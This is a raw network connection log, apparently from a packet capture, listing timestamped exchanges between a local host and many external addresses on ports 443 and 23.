Dec 27, 2024 05:02:50.935213089 CET	443	45762	148.145.179.7	192.168.2.23
Dec 27, 2024 05:02:50.935237885 CET	58212	443	192.168.2.23	37.221.47.40
Dec 27, 2024 05:02:50.935254097 CET	443	58212	37.221.47.40	192.168.2.23
Dec 27, 2024 05:02:50.935259104 CET	50572	443	192.168.2.23	2.141.112.242
Dec 27, 2024 05:02:50.935261011 CET	443	45762	148.145.179.7	192.168.2.23
Dec 27, 2024 05:02:50.935264111 CET	58212	443	192.168.2.23	37.221.47.40
Dec 27, 2024 05:02:50.935270071 CET	443	50572	2.141.112.242	192.168.2.23
Dec 27, 2024 05:02:50.935287952 CET	50572	443	192.168.2.23	2.141.112.242
Dec 27, 2024 05:02:50.935297012 CET	51390	443	192.168.2.23	109.2.18.133
Dec 27, 2024 05:02:50.935302019 CET	443	58212	37.221.47.40	192.168.2.23
Dec 27, 2024 05:02:50.935317993 CET	443	51390	109.2.18.133	192.168.2.23
Dec 27, 2024 05:02:50.935333967 CET	443	50572	2.141.112.242	192.168.2.23
Dec 27, 2024 05:02:50.935342073 CET	51390	443	192.168.2.23	109.2.18.133
Dec 27, 2024 05:02:50.935348988 CET	43602	443	192.168.2.23	79.141.28.208
Dec 27, 2024 05:02:50.935362101 CET	443	43602	79.141.28.208	192.168.2.23
Dec 27, 2024 05:02:50.935369968 CET	443	51390	109.2.18.133	192.168.2.23
Dec 27, 2024 05:02:50.935383081 CET	33534	443	192.168.2.23	212.181.236.170
Dec 27, 2024 05:02:50.935384035 CET	43602	443	192.168.2.23	79.141.28.208
Dec 27, 2024 05:02:50.935394049 CET	443	33534	212.181.236.170	192.168.2.23
Dec 27, 2024 05:02:50.935406923 CET	443	43602	79.141.28.208	192.168.2.23
Dec 27, 2024 05:02:50.935419083 CET	47168	443	192.168.2.23	94.204.32.24
Dec 27, 2024 05:02:50.935422897 CET	33534	443	192.168.2.23	212.181.236.170
Dec 27, 2024 05:02:50.935432911 CET	443	47168	94.204.32.24	192.168.2.23
Dec 27, 2024 05:02:50.935442924 CET	47168	443	192.168.2.23	94.204.32.24
Dec 27, 2024 05:02:50.935442924 CET	443	33534	212.181.236.170	192.168.2.23
Dec 27, 2024 05:02:50.935458899 CET	40276	443	192.168.2.23	212.8.35.3
Dec 27, 2024 05:02:50.935466051 CET	443	40276	212.8.35.3	192.168.2.23
Dec 27, 2024 05:02:50.935481071 CET	443	47168	94.204.32.24	192.168.2.23
Dec 27, 2024 05:02:50.935493946 CET	40276	443	192.168.2.23	212.8.35.3
Dec 27, 2024 05:02:50.935493946 CET	54674	443	192.168.2.23	210.20.42.251
Dec 27, 2024 05:02:50.935504913 CET	443	54674	210.20.42.251	192.168.2.23
Dec 27, 2024 05:02:50.935517073 CET	443	40276	212.8.35.3	192.168.2.23
Dec 27, 2024 05:02:50.935530901 CET	54674	443	192.168.2.23	210.20.42.251
Dec 27, 2024 05:02:50.935534954 CET	47200	443	192.168.2.23	2.136.69.150
Dec 27, 2024 05:02:50.935543060 CET	443	54674	210.20.42.251	192.168.2.23
Dec 27, 2024 05:02:50.935549021 CET	443	47200	2.136.69.150	192.168.2.23
Dec 27, 2024 05:02:50.935563087 CET	48306	443	192.168.2.23	212.173.139.86
Dec 27, 2024 05:02:50.935564041 CET	47200	443	192.168.2.23	2.136.69.150
Dec 27, 2024 05:02:50.935571909 CET	443	48306	212.173.139.86	192.168.2.23
Dec 27, 2024 05:02:50.935590029 CET	443	47200	2.136.69.150	192.168.2.23
Dec 27, 2024 05:02:50.935611010 CET	56356	443	192.168.2.23	42.54.192.220
Dec 27, 2024 05:02:50.935616016 CET	48306	443	192.168.2.23	212.173.139.86
Dec 27, 2024 05:02:50.935623884 CET	443	56356	42.54.192.220	192.168.2.23
Dec 27, 2024 05:02:50.935625076 CET	443	48306	212.173.139.86	192.168.2.23
Dec 27, 2024 05:02:50.935626030 CET	443	48306	212.173.139.86	192.168.2.23
Dec 27, 2024 05:02:50.935651064 CET	56356	443	192.168.2.23	42.54.192.220
Dec 27, 2024 05:02:50.935652018 CET	33894	443	192.168.2.23	118.125.145.2
Dec 27, 2024 05:02:50.935662031 CET	443	33894	118.125.145.2	192.168.2.23
Dec 27, 2024 05:02:50.935667038 CET	443	56356	42.54.192.220	192.168.2.23
Dec 27, 2024 05:02:50.935692072 CET	37338	443	192.168.2.23	94.189.246.132
Dec 27, 2024 05:02:50.935694933 CET	33894	443	192.168.2.23	118.125.145.2
Dec 27, 2024 05:02:50.935703039 CET	443	37338	94.189.246.132	192.168.2.23
Dec 27, 2024 05:02:50.935709953 CET	443	33894	118.125.145.2	192.168.2.23
Dec 27, 2024 05:02:50.935712099 CET	37338	443	192.168.2.23	94.189.246.132
Dec 27, 2024 05:02:50.935714006 CET	50946	443	192.168.2.23	117.173.197.150
Dec 27, 2024 05:02:50.935724974 CET	443	50946	117.173.197.150	192.168.2.23
Dec 27, 2024 05:02:50.935746908 CET	443	37338	94.189.246.132	192.168.2.23
Dec 27, 2024 05:02:50.935750961 CET	50946	443	192.168.2.23	117.173.197.150
Dec 27, 2024 05:02:50.935762882 CET	49366	443	192.168.2.23	123.74.229.203
Dec 27, 2024 05:02:50.935762882 CET	443	50946	117.173.197.150	192.168.2.23
Dec 27, 2024 05:02:50.935772896 CET	443	49366	123.74.229.203	192.168.2.23
Dec 27, 2024 05:02:50.935798883 CET	49366	443	192.168.2.23	123.74.229.203
Dec 27, 2024 05:02:50.935808897 CET	45042	443	192.168.2.23	5.188.22.2
Dec 27, 2024 05:02:50.935820103 CET	443	49366	123.74.229.203	192.168.2.23
Dec 27, 2024 05:02:50.935821056 CET	443	45042	5.188.22.2	192.168.2.23
Dec 27, 2024 05:02:50.935832977 CET	45042	443	192.168.2.23	5.188.22.2
Dec 27, 2024 05:02:50.935849905 CET	34696	443	192.168.2.23	37.140.213.213
Dec 27, 2024 05:02:50.935849905 CET	34696	443	192.168.2.23	37.140.213.213
Dec 27, 2024 05:02:50.935854912 CET	50814	443	192.168.2.23	210.197.41.68
Dec 27, 2024 05:02:50.935859919 CET	443	34696	37.140.213.213	192.168.2.23
Dec 27, 2024 05:02:50.935866117 CET	443	45042	5.188.22.2	192.168.2.23
Dec 27, 2024 05:02:50.935873032 CET	443	50814	210.197.41.68	192.168.2.23
Dec 27, 2024 05:02:50.935884953 CET	443	34696	37.140.213.213	192.168.2.23
Dec 27, 2024 05:02:50.935892105 CET	443	50814	210.197.41.68	192.168.2.23
Dec 27, 2024 05:02:50.935904980 CET	54298	443	192.168.2.23	202.68.103.45
Dec 27, 2024 05:02:50.935906887 CET	50814	443	192.168.2.23	210.197.41.68
Dec 27, 2024 05:02:50.935914993 CET	443	54298	202.68.103.45	192.168.2.23
Dec 27, 2024 05:02:50.935916901 CET	443	50814	210.197.41.68	192.168.2.23
Dec 27, 2024 05:02:50.935937881 CET	54298	443	192.168.2.23	202.68.103.45
Dec 27, 2024 05:02:50.935940027 CET	443	54298	202.68.103.45	192.168.2.23
Dec 27, 2024 05:02:50.935942888 CET	54244	443	192.168.2.23	212.166.185.113
Dec 27, 2024 05:02:50.935945034 CET	443	54298	202.68.103.45	192.168.2.23
Dec 27, 2024 05:02:50.935955048 CET	443	54244	212.166.185.113	192.168.2.23
Dec 27, 2024 05:02:50.935986996 CET	443	54244	212.166.185.113	192.168.2.23
Dec 27, 2024 05:02:50.935993910 CET	35438	443	192.168.2.23	148.112.199.224
Dec 27, 2024 05:02:50.935998917 CET	54244	443	192.168.2.23	212.166.185.113
Dec 27, 2024 05:02:50.936002970 CET	443	35438	148.112.199.224	192.168.2.23
Dec 27, 2024 05:02:50.936008930 CET	443	54244	212.166.185.113	192.168.2.23
Dec 27, 2024 05:02:50.936012030 CET	35438	443	192.168.2.23	148.112.199.224
Dec 27, 2024 05:02:50.936032057 CET	53158	443	192.168.2.23	148.159.246.178
Dec 27, 2024 05:02:50.936032057 CET	443	35438	148.112.199.224	192.168.2.23
Dec 27, 2024 05:02:50.936039925 CET	443	53158	148.159.246.178	192.168.2.23
Dec 27, 2024 05:02:50.936050892 CET	53158	443	192.168.2.23	148.159.246.178
Dec 27, 2024 05:02:50.936064959 CET	443	53158	148.159.246.178	192.168.2.23
Dec 27, 2024 05:02:50.936078072 CET	44510	443	192.168.2.23	5.153.22.141
Dec 27, 2024 05:02:50.936089039 CET	443	44510	5.153.22.141	192.168.2.23
Dec 27, 2024 05:02:50.936108112 CET	44510	443	192.168.2.23	5.153.22.141
Dec 27, 2024 05:02:50.936163902 CET	443	44510	5.153.22.141	192.168.2.23
Dec 27, 2024 05:02:50.981235027 CET	23	14219	115.20.14.7	192.168.2.23
Dec 27, 2024 05:02:50.981250048 CET	23	14219	177.36.87.195	192.168.2.23
Dec 27, 2024 05:02:50.981261969 CET	23	14219	159.104.11.120	192.168.2.23
Dec 27, 2024 05:02:50.981273890 CET	23	14219	178.164.96.155	192.168.2.23
Dec 27, 2024 05:02:50.981283903 CET	23	14219	171.149.171.185	192.168.2.23
Dec 27, 2024 05:02:50.981290102 CET	14219	23	192.168.2.23	115.20.14.7
Dec 27, 2024 05:02:50.981295109 CET	23	14219	116.177.40.227	192.168.2.23
Dec 27, 2024 05:02:50.981298923 CET	14219	23	192.168.2.23	177.36.87.195
Dec 27, 2024 05:02:50.981298923 CET	14219	23	192.168.2.23	159.104.11.120
Dec 27, 2024 05:02:50.981298923 CET	14219	23	192.168.2.23	178.164.96.155
Dec 27, 2024 05:02:50.981307983 CET	23	14219	43.210.101.106	192.168.2.23
Dec 27, 2024 05:02:50.981317997 CET	14219	23	192.168.2.23	116.177.40.227
Dec 27, 2024 05:02:50.981318951 CET	14219	23	192.168.2.23	171.149.171.185
Dec 27, 2024 05:02:50.981328011 CET	23	14219	149.180.223.140	192.168.2.23
Dec 27, 2024 05:02:50.981338978 CET	23	14219	205.29.32.83	192.168.2.23
Dec 27, 2024 05:02:50.981342077 CET	14219	23	192.168.2.23	43.210.101.106
Dec 27, 2024 05:02:50.981348991 CET	23	14219	155.230.88.18	192.168.2.23
Dec 27, 2024 05:02:50.981353998 CET	23	14219	70.218.238.232	192.168.2.23
Dec 27, 2024 05:02:50.981362104 CET	14219	23	192.168.2.23	149.180.223.140
Dec 27, 2024 05:02:50.981364965 CET	23	14219	13.165.4.44	192.168.2.23
Dec 27, 2024 05:02:50.981380939 CET	23	14219	111.59.28.84	192.168.2.23
Dec 27, 2024 05:02:50.981384993 CET	14219	23	192.168.2.23	205.29.32.83
Dec 27, 2024 05:02:50.981385946 CET	14219	23	192.168.2.23	70.218.238.232
Dec 27, 2024 05:02:50.981385946 CET	14219	23	192.168.2.23	155.230.88.18
Dec 27, 2024 05:02:50.981390953 CET	23	14219	42.30.119.150	192.168.2.23
Dec 27, 2024 05:02:50.981400013 CET	14219	23	192.168.2.23	13.165.4.44
Dec 27, 2024 05:02:50.981403112 CET	14219	23	192.168.2.23	111.59.28.84
Dec 27, 2024 05:02:50.981409073 CET	23	14219	67.17.182.33	192.168.2.23
Dec 27, 2024 05:02:50.981420040 CET	23	14219	118.240.163.51	192.168.2.23
Dec 27, 2024 05:02:50.981424093 CET	14219	23	192.168.2.23	42.30.119.150
Dec 27, 2024 05:02:50.981429100 CET	23	14219	141.138.207.154	192.168.2.23
Dec 27, 2024 05:02:50.981440067 CET	23	14219	106.220.242.7	192.168.2.23
Dec 27, 2024 05:02:50.981446981 CET	14219	23	192.168.2.23	67.17.182.33
Dec 27, 2024 05:02:50.981456041 CET	23	14219	52.209.64.182	192.168.2.23
Dec 27, 2024 05:02:50.981466055 CET	23	14219	70.143.50.3	192.168.2.23
Dec 27, 2024 05:02:50.981467962 CET	14219	23	192.168.2.23	118.240.163.51
Dec 27, 2024 05:02:50.981475115 CET	23	14219	90.107.242.142	192.168.2.23
Dec 27, 2024 05:02:50.981477976 CET	14219	23	192.168.2.23	52.209.64.182
Dec 27, 2024 05:02:50.981486082 CET	23	14219	45.153.57.167	192.168.2.23
Dec 27, 2024 05:02:50.981486082 CET	14219	23	192.168.2.23	106.220.242.7
Dec 27, 2024 05:02:50.981487036 CET	14219	23	192.168.2.23	141.138.207.154
Dec 27, 2024 05:02:50.981506109 CET	14219	23	192.168.2.23	90.107.242.142
Dec 27, 2024 05:02:50.981506109 CET	23	14219	1.247.10.115	192.168.2.23
Dec 27, 2024 05:02:50.981506109 CET	14219	23	192.168.2.23	70.143.50.3
Dec 27, 2024 05:02:50.981517076 CET	14219	23	192.168.2.23	45.153.57.167
Dec 27, 2024 05:02:50.981529951 CET	23	14219	200.7.229.156	192.168.2.23
Dec 27, 2024 05:02:50.981539965 CET	23	14219	66.78.172.93	192.168.2.23
Dec 27, 2024 05:02:50.981549025 CET	23	14219	106.25.137.6	192.168.2.23
Dec 27, 2024 05:02:50.981554985 CET	14219	23	192.168.2.23	1.247.10.115
Dec 27, 2024 05:02:50.981558084 CET	23	14219	104.60.59.154	192.168.2.23
Dec 27, 2024 05:02:50.981564045 CET	14219	23	192.168.2.23	200.7.229.156
Dec 27, 2024 05:02:50.981566906 CET	14219	23	192.168.2.23	66.78.172.93
Dec 27, 2024 05:02:50.981576920 CET	23	14219	147.254.133.248	192.168.2.23
Dec 27, 2024 05:02:50.981584072 CET	14219	23	192.168.2.23	106.25.137.6
Dec 27, 2024 05:02:50.981585979 CET	23	14219	96.187.23.8	192.168.2.23
Dec 27, 2024 05:02:50.981587887 CET	14219	23	192.168.2.23	104.60.59.154
Dec 27, 2024 05:02:50.981597900 CET	23	14219	187.242.93.96	192.168.2.23
Dec 27, 2024 05:02:50.981610060 CET	23	14219	221.171.1.243	192.168.2.23
Dec 27, 2024 05:02:50.981618881 CET	23	14219	52.54.31.42	192.168.2.23
Dec 27, 2024 05:02:50.981618881 CET	14219	23	192.168.2.23	96.187.23.8
Dec 27, 2024 05:02:50.981620073 CET	14219	23	192.168.2.23	147.254.133.248
Dec 27, 2024 05:02:50.981628895 CET	23	14219	89.1.149.227	192.168.2.23
Dec 27, 2024 05:02:50.981636047 CET	14219	23	192.168.2.23	221.171.1.243
Dec 27, 2024 05:02:50.981647015 CET	14219	23	192.168.2.23	187.242.93.96
Dec 27, 2024 05:02:50.981650114 CET	23	14219	162.55.19.102	192.168.2.23
Dec 27, 2024 05:02:50.981652975 CET	14219	23	192.168.2.23	52.54.31.42
Dec 27, 2024 05:02:50.981658936 CET	14219	23	192.168.2.23	89.1.149.227
Dec 27, 2024 05:02:50.981662035 CET	23	14219	157.151.214.214	192.168.2.23
Dec 27, 2024 05:02:50.981672049 CET	23	14219	73.51.62.27	192.168.2.23
Dec 27, 2024 05:02:50.981682062 CET	23	14219	182.86.94.240	192.168.2.23
Dec 27, 2024 05:02:50.981688023 CET	14219	23	192.168.2.23	157.151.214.214
Dec 27, 2024 05:02:50.981690884 CET	14219	23	192.168.2.23	162.55.19.102
Dec 27, 2024 05:02:50.981692076 CET	23	14219	112.21.162.239	192.168.2.23
Dec 27, 2024 05:02:50.981703043 CET	23	14219	89.79.204.80	192.168.2.23
Dec 27, 2024 05:02:50.981713057 CET	23	14219	60.47.97.82	192.168.2.23
Dec 27, 2024 05:02:50.981718063 CET	14219	23	192.168.2.23	182.86.94.240
Dec 27, 2024 05:02:50.981719017 CET	14219	23	192.168.2.23	73.51.62.27
Dec 27, 2024 05:02:50.981722116 CET	23	14219	197.153.175.49	192.168.2.23
Dec 27, 2024 05:02:50.981731892 CET	14219	23	192.168.2.23	112.21.162.239
Dec 27, 2024 05:02:50.981733084 CET	23	14219	25.90.230.229	192.168.2.23
Dec 27, 2024 05:02:50.981735945 CET	14219	23	192.168.2.23	89.79.204.80
Dec 27, 2024 05:02:50.981740952 CET	14219	23	192.168.2.23	60.47.97.82
Dec 27, 2024 05:02:50.981750011 CET	23	14219	24.173.202.253	192.168.2.23
Dec 27, 2024 05:02:50.981755972 CET	14219	23	192.168.2.23	197.153.175.49
Dec 27, 2024 05:02:50.981760025 CET	23	14219	70.230.103.60	192.168.2.23
Dec 27, 2024 05:02:50.981760025 CET	14219	23	192.168.2.23	25.90.230.229
Dec 27, 2024 05:02:50.981770039 CET	23	14219	207.178.237.172	192.168.2.23
Dec 27, 2024 05:02:50.981781006 CET	23	14219	180.221.29.157	192.168.2.23
Dec 27, 2024 05:02:50.981787920 CET	14219	23	192.168.2.23	24.173.202.253
Dec 27, 2024 05:02:50.981791973 CET	14219	23	192.168.2.23	70.230.103.60
Dec 27, 2024 05:02:50.981792927 CET	23	14219	114.209.82.161	192.168.2.23
Dec 27, 2024 05:02:50.981801987 CET	14219	23	192.168.2.23	207.178.237.172
Dec 27, 2024 05:02:50.981805086 CET	23	14219	114.143.85.160	192.168.2.23
Dec 27, 2024 05:02:50.981816053 CET	23	14219	123.183.12.248	192.168.2.23
Dec 27, 2024 05:02:50.981822014 CET	14219	23	192.168.2.23	180.221.29.157
Dec 27, 2024 05:02:50.981825113 CET	23	14219	133.19.237.32	192.168.2.23
Dec 27, 2024 05:02:50.981825113 CET	14219	23	192.168.2.23	114.209.82.161
Dec 27, 2024 05:02:50.981833935 CET	14219	23	192.168.2.23	114.143.85.160
Dec 27, 2024 05:02:50.981839895 CET	23	14219	184.173.36.137	192.168.2.23
Dec 27, 2024 05:02:50.981848955 CET	14219	23	192.168.2.23	123.183.12.248
Dec 27, 2024 05:02:50.981858969 CET	23	14219	27.124.8.121	192.168.2.23
Dec 27, 2024 05:02:50.981862068 CET	14219	23	192.168.2.23	133.19.237.32
Dec 27, 2024 05:02:50.981869936 CET	23	14219	115.31.31.246	192.168.2.23
Dec 27, 2024 05:02:50.981873035 CET	14219	23	192.168.2.23	184.173.36.137
Dec 27, 2024 05:02:50.981882095 CET	23	14219	13.230.102.222	192.168.2.23
Dec 27, 2024 05:02:50.981893063 CET	23	14219	145.123.81.132	192.168.2.23
Dec 27, 2024 05:02:50.981899023 CET	14219	23	192.168.2.23	115.31.31.246
Dec 27, 2024 05:02:50.981900930 CET	14219	23	192.168.2.23	27.124.8.121
Dec 27, 2024 05:02:50.981901884 CET	23	14219	87.201.13.97	192.168.2.23
Dec 27, 2024 05:02:50.981911898 CET	23	14219	126.244.4.26	192.168.2.23
Dec 27, 2024 05:02:50.981914997 CET	14219	23	192.168.2.23	13.230.102.222
Dec 27, 2024 05:02:50.981914997 CET	14219	23	192.168.2.23	145.123.81.132
Dec 27, 2024 05:02:50.981921911 CET	23	14219	220.186.111.243	192.168.2.23
Dec 27, 2024 05:02:50.981930971 CET	23	14219	103.224.246.176	192.168.2.23
Dec 27, 2024 05:02:50.981940985 CET	23	14219	171.222.126.194	192.168.2.23
Dec 27, 2024 05:02:50.981942892 CET	14219	23	192.168.2.23	87.201.13.97
Dec 27, 2024 05:02:50.981942892 CET	14219	23	192.168.2.23	126.244.4.26
Dec 27, 2024 05:02:50.981950998 CET	14219	23	192.168.2.23	220.186.111.243
Dec 27, 2024 05:02:50.981956959 CET	14219	23	192.168.2.23	103.224.246.176
Dec 27, 2024 05:02:50.981959105 CET	23	14219	151.129.52.113	192.168.2.23
Dec 27, 2024 05:02:50.981969118 CET	23	14219	139.215.149.29	192.168.2.23
Dec 27, 2024 05:02:50.981973886 CET	14219	23	192.168.2.23	171.222.126.194
Dec 27, 2024 05:02:50.981977940 CET	23	14219	14.89.43.177	192.168.2.23
Dec 27, 2024 05:02:50.981988907 CET	23	14219	161.45.68.62	192.168.2.23
Dec 27, 2024 05:02:50.981997967 CET	14219	23	192.168.2.23	151.129.52.113
Dec 27, 2024 05:02:50.981997967 CET	23	14219	217.199.74.83	192.168.2.23
Dec 27, 2024 05:02:50.982001066 CET	14219	23	192.168.2.23	139.215.149.29
Dec 27, 2024 05:02:50.982008934 CET	23	14219	9.74.195.71	192.168.2.23
Dec 27, 2024 05:02:50.982013941 CET	14219	23	192.168.2.23	14.89.43.177
Dec 27, 2024 05:02:50.982016087 CET	14219	23	192.168.2.23	161.45.68.62
Dec 27, 2024 05:02:50.982019901 CET	14219	23	192.168.2.23	217.199.74.83
Dec 27, 2024 05:02:50.982028008 CET	23	14219	168.126.168.133	192.168.2.23
Dec 27, 2024 05:02:50.982037067 CET	23	14219	166.155.179.166	192.168.2.23
Dec 27, 2024 05:02:50.982048035 CET	23	14219	83.88.244.3	192.168.2.23
Dec 27, 2024 05:02:50.982063055 CET	23	14219	27.80.109.214	192.168.2.23
Dec 27, 2024 05:02:50.982069016 CET	14219	23	192.168.2.23	168.126.168.133
Dec 27, 2024 05:02:50.982072115 CET	14219	23	192.168.2.23	9.74.195.71
Dec 27, 2024 05:02:50.982073069 CET	23	14219	105.226.238.160	192.168.2.23
Dec 27, 2024 05:02:50.982073069 CET	14219	23	192.168.2.23	166.155.179.166
Dec 27, 2024 05:02:50.982089043 CET	14219	23	192.168.2.23	83.88.244.3
Dec 27, 2024 05:02:50.982089996 CET	23	14219	191.254.207.152	192.168.2.23
Dec 27, 2024 05:02:50.982095003 CET	14219	23	192.168.2.23	27.80.109.214
Dec 27, 2024 05:02:50.982098103 CET	14219	23	192.168.2.23	105.226.238.160
Dec 27, 2024 05:02:50.982100964 CET	23	14219	59.136.6.35	192.168.2.23
Dec 27, 2024 05:02:50.982110977 CET	23	14219	81.64.196.111	192.168.2.23
Dec 27, 2024 05:02:50.982120991 CET	23	14219	159.17.219.231	192.168.2.23
Dec 27, 2024 05:02:50.982131958 CET	23	14219	34.237.86.243	192.168.2.23
Dec 27, 2024 05:02:50.982135057 CET	14219	23	192.168.2.23	59.136.6.35
Dec 27, 2024 05:02:50.982136965 CET	14219	23	192.168.2.23	191.254.207.152
Dec 27, 2024 05:02:50.982136965 CET	14219	23	192.168.2.23	81.64.196.111
Dec 27, 2024 05:02:50.982141972 CET	23	14219	123.187.112.3	192.168.2.23
Dec 27, 2024 05:02:50.982152939 CET	23	14219	68.9.244.211	192.168.2.23
Dec 27, 2024 05:02:50.982161999 CET	23	14219	105.108.225.56	192.168.2.23
Dec 27, 2024 05:02:50.982162952 CET	14219	23	192.168.2.23	159.17.219.231
Dec 27, 2024 05:02:50.982167959 CET	14219	23	192.168.2.23	34.237.86.243
Dec 27, 2024 05:02:50.982168913 CET	14219	23	192.168.2.23	123.187.112.3
Dec 27, 2024 05:02:50.982172012 CET	23	14219	170.162.24.128	192.168.2.23
Dec 27, 2024 05:02:50.982182026 CET	23	14219	5.173.80.161	192.168.2.23
Dec 27, 2024 05:02:50.982188940 CET	14219	23	192.168.2.23	68.9.244.211
Dec 27, 2024 05:02:50.982203007 CET	14219	23	192.168.2.23	105.108.225.56
Dec 27, 2024 05:02:50.982206106 CET	14219	23	192.168.2.23	170.162.24.128
Dec 27, 2024 05:02:50.982217073 CET	14219	23	192.168.2.23	5.173.80.161
Dec 27, 2024 05:02:51.100656986 CET	23	14219	219.219.241.175	192.168.2.23
Dec 27, 2024 05:02:51.100677967 CET	23	14219	25.4.133.99	192.168.2.23
Dec 27, 2024 05:02:51.100689888 CET	23	14219	191.132.8.84	192.168.2.23
Dec 27, 2024 05:02:51.100703955 CET	23	14219	131.105.232.54	192.168.2.23
Dec 27, 2024 05:02:51.100711107 CET	14219	23	192.168.2.23	219.219.241.175
Dec 27, 2024 05:02:51.100722075 CET	14219	23	192.168.2.23	191.132.8.84
Dec 27, 2024 05:02:51.100720882 CET	14219	23	192.168.2.23	25.4.133.99
Dec 27, 2024 05:02:51.100723028 CET	23	14219	142.23.53.249	192.168.2.23
Dec 27, 2024 05:02:51.100733995 CET	23	14219	86.141.21.229	192.168.2.23
Dec 27, 2024 05:02:51.100744009 CET	23	14219	17.1.7.194	192.168.2.23
Dec 27, 2024 05:02:51.100753069 CET	23	14219	62.112.197.52	192.168.2.23
Dec 27, 2024 05:02:51.100763083 CET	23	14219	95.20.105.110	192.168.2.23
Dec 27, 2024 05:02:51.100764036 CET	14219	23	192.168.2.23	131.105.232.54
Dec 27, 2024 05:02:51.100766897 CET	14219	23	192.168.2.23	142.23.53.249
Dec 27, 2024 05:02:51.100775957 CET	14219	23	192.168.2.23	17.1.7.194
Dec 27, 2024 05:02:51.100775957 CET	14219	23	192.168.2.23	62.112.197.52
Dec 27, 2024 05:02:51.100779057 CET	23	14219	86.237.68.165	192.168.2.23
Dec 27, 2024 05:02:51.100779057 CET	14219	23	192.168.2.23	86.141.21.229
Dec 27, 2024 05:02:51.100789070 CET	23	14219	135.28.74.47	192.168.2.23
Dec 27, 2024 05:02:51.100800037 CET	23	14219	19.73.231.141	192.168.2.23
Dec 27, 2024 05:02:51.100807905 CET	14219	23	192.168.2.23	95.20.105.110
Dec 27, 2024 05:02:51.100811005 CET	14219	23	192.168.2.23	86.237.68.165
Dec 27, 2024 05:02:51.100811005 CET	14219	23	192.168.2.23	135.28.74.47
Dec 27, 2024 05:02:51.100825071 CET	23	14219	4.226.123.169	192.168.2.23
Dec 27, 2024 05:02:51.100835085 CET	23	14219	18.21.169.234	192.168.2.23
Dec 27, 2024 05:02:51.100837946 CET	14219	23	192.168.2.23	19.73.231.141
Dec 27, 2024 05:02:51.100848913 CET	23	14219	128.195.37.177	192.168.2.23
Dec 27, 2024 05:02:51.100858927 CET	23	14219	14.182.125.80	192.168.2.23
Dec 27, 2024 05:02:51.100862026 CET	14219	23	192.168.2.23	4.226.123.169
Dec 27, 2024 05:02:51.100863934 CET	14219	23	192.168.2.23	18.21.169.234
Dec 27, 2024 05:02:51.100868940 CET	23	14219	73.217.28.171	192.168.2.23
Dec 27, 2024 05:02:51.100878954 CET	23	14219	186.36.26.176	192.168.2.23
Dec 27, 2024 05:02:51.100883007 CET	14219	23	192.168.2.23	128.195.37.177
Dec 27, 2024 05:02:51.100888968 CET	23	14219	172.47.223.50	192.168.2.23
Dec 27, 2024 05:02:51.100889921 CET	14219	23	192.168.2.23	14.182.125.80
Dec 27, 2024 05:02:51.100889921 CET	14219	23	192.168.2.23	73.217.28.171
Dec 27, 2024 05:02:51.100898981 CET	23	14219	35.239.141.12	192.168.2.23
Dec 27, 2024 05:02:51.100903034 CET	14219	23	192.168.2.23	186.36.26.176
Dec 27, 2024 05:02:51.100908995 CET	23	14219	5.116.1.178	192.168.2.23
Dec 27, 2024 05:02:51.100917101 CET	14219	23	192.168.2.23	172.47.223.50
Dec 27, 2024 05:02:51.100925922 CET	23	14219	37.34.109.178	192.168.2.23
Dec 27, 2024 05:02:51.100929976 CET	14219	23	192.168.2.23	35.239.141.12
Dec 27, 2024 05:02:51.100935936 CET	23	14219	164.30.193.209	192.168.2.23
Dec 27, 2024 05:02:51.100955009 CET	23	14219	223.48.70.168	192.168.2.23
Dec 27, 2024 05:02:51.100966930 CET	23	14219	41.191.95.46	192.168.2.23
Dec 27, 2024 05:02:51.100976944 CET	23	14219	172.91.180.187	192.168.2.23
Dec 27, 2024 05:02:51.100975990 CET	14219	23	192.168.2.23	5.116.1.178
Dec 27, 2024 05:02:51.100975990 CET	14219	23	192.168.2.23	37.34.109.178
Dec 27, 2024 05:02:51.100982904 CET	14219	23	192.168.2.23	164.30.193.209
Dec 27, 2024 05:02:51.100986958 CET	23	14219	188.71.80.172	192.168.2.23
Dec 27, 2024 05:02:51.100990057 CET	14219	23	192.168.2.23	223.48.70.168
Dec 27, 2024 05:02:51.100996971 CET	23	14219	46.203.107.46	192.168.2.23
Dec 27, 2024 05:02:51.101007938 CET	23	14219	86.125.69.87	192.168.2.23
Dec 27, 2024 05:02:51.101017952 CET	23	14219	8.80.24.13	192.168.2.23
Dec 27, 2024 05:02:51.101017952 CET	14219	23	192.168.2.23	188.71.80.172
Dec 27, 2024 05:02:51.101027012 CET	14219	23	192.168.2.23	172.91.180.187
Dec 27, 2024 05:02:51.101027966 CET	23	14219	166.241.132.49	192.168.2.23
Dec 27, 2024 05:02:51.101039886 CET	23	14219	135.37.32.240	192.168.2.23
Dec 27, 2024 05:02:51.101052999 CET	14219	23	192.168.2.23	86.125.69.87
Dec 27, 2024 05:02:51.101052999 CET	14219	23	192.168.2.23	166.241.132.49
Dec 27, 2024 05:02:51.101054907 CET	14219	23	192.168.2.23	41.191.95.46
Dec 27, 2024 05:02:51.101054907 CET	14219	23	192.168.2.23	46.203.107.46
Dec 27, 2024 05:02:51.101066113 CET	23	14219	148.151.0.193	192.168.2.23
Dec 27, 2024 05:02:51.101072073 CET	14219	23	192.168.2.23	135.37.32.240
Dec 27, 2024 05:02:51.101073027 CET	14219	23	192.168.2.23	8.80.24.13
Dec 27, 2024 05:02:51.101080894 CET	23	14219	148.225.92.73	192.168.2.23
Dec 27, 2024 05:02:51.101090908 CET	23	14219	134.225.147.85	192.168.2.23
Dec 27, 2024 05:02:51.101100922 CET	14219	23	192.168.2.23	148.151.0.193
Dec 27, 2024 05:02:51.101109982 CET	23	14219	168.126.16.41	192.168.2.23
Dec 27, 2024 05:02:51.101119995 CET	23	14219	9.198.192.72	192.168.2.23
Dec 27, 2024 05:02:51.101125956 CET	14219	23	192.168.2.23	134.225.147.85
Dec 27, 2024 05:02:51.101130009 CET	23	14219	122.150.254.178	192.168.2.23
Dec 27, 2024 05:02:51.101135015 CET	14219	23	192.168.2.23	148.225.92.73
Dec 27, 2024 05:02:51.101145029 CET	23	14219	166.83.212.118	192.168.2.23
Dec 27, 2024 05:02:51.101145983 CET	14219	23	192.168.2.23	168.126.16.41
Dec 27, 2024 05:02:51.101150990 CET	14219	23	192.168.2.23	9.198.192.72
Dec 27, 2024 05:02:51.101160049 CET	23	14219	177.31.213.6	192.168.2.23
Dec 27, 2024 05:02:51.101164103 CET	14219	23	192.168.2.23	122.150.254.178
Dec 27, 2024 05:02:51.101171017 CET	23	14219	212.115.215.225	192.168.2.23
Dec 27, 2024 05:02:51.101181030 CET	14219	23	192.168.2.23	166.83.212.118
